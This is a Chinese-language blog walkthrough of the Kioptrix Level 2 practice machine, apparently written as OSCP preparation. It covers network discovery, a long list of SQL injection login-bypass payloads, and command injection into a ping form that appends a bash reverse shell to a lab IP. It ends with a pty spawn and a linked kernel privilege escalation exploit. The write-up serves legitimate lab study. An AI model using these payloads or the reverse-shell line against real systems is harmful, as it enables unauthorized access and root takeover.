第一步:netdiscover加nmap
第二步:通过burpsuite,利用SQLi Payloads进行SQL注入
SQLi Payloads:
'-'
' '
'&'
'^'
'*'
' or ''-'
' or '' '
' or ''&'
' or ''^'
' or ''*'
"-"
" "
"&"
"^"
"*"
" or ""-"
" or "" "
" or ""&"
" or ""^"
" or ""*"
or true--
" or true--
' or true--
") or true--
') or true--
' or 'x'='x
') or ('x')=('x
')) or (('x'))=(('x
" or "x"="x
") or ("x")=("x
")) or (("x"))=(("x
' or 1=1 --
or 1=1
or 1=1--
or 1=1#
or 1=1/*
admin' --
admin' #
admin'/*
admin' or '1'='1
admin' or '1'='1'--
admin' or '1'='1'#
admin' or '1'='1'/*
admin'or 1=1 or ''='
admin' or 1=1
admin' or 1=1--
admin' or 1=1#
admin' or 1=1/*
admin') or ('1'='1
admin') or ('1'='1'--
admin') or ('1'='1'#
admin') or ('1'='1'/*
admin') or '1'='1
admin') or '1'='1'--
admin') or '1'='1'#
admin') or '1'='1'/*
1234 ' AND 1=0 UNION ALL SELECT 'admin', '81dc9bdb52d04dc20036dbd8313ed055
admin" --
admin" #
admin"/*
admin" or "1"="1
admin" or "1"="1"--
admin" or "1"="1"#
admin" or "1"="1"/*
admin"or 1=1 or ""="
admin" or 1=1
admin" or 1=1--
admin" or 1=1#
admin" or 1=1/*
admin") or ("1"="1
admin") or ("1"="1"--
admin") or ("1"="1"#
admin") or ("1"="1"/*
admin") or "1"="1
admin") or "1"="1"--
admin") or "1"="1"#
admin") or "1"="1"/*
1234 " AND 1=0 UNION ALL SELECT "admin", "81dc9bdb52d04dc20036dbd8313ed055
第三步:查找长度不一致的进行比对,并回显到浏览器,意思ping程序,输入127.0.0.1;然后字符拼接反向shell
反向shell参考:https://pentestmonkey.net/cheat-sheet/shells/reverse-shell-cheat-sheet
127.0.0.1; bash -i >& /dev/tcp/192.168.107.129/4444 0>&1
第四步:创造监听获取shell
第五步:确定内核版本,进行权限提升
查看内核相关版本
lsb_release -a
uname -a
获取ttyshell
python -c 'import pty; pty.spawn("/bin/sh")'
Linux Kernel 2.4.x/2.6.x (CentOS 4.8/5.3 / RHEL 4.8/5.3 / SuSE 10 SP2/11 / Ubuntu 8.10) (PPC) - 'sock_sendpage()' Local Privilege Escalation
https://www.exploit-db.com/exploits/9545
内核版本本地权限提升
最后,成功获取root权限
完结撒花~
标签:Kioptrix,1admin,shell,Level,admin,--,内核,true,OSCP From: https://www.cnblogs.com/justdoIT20680/p/17868454.html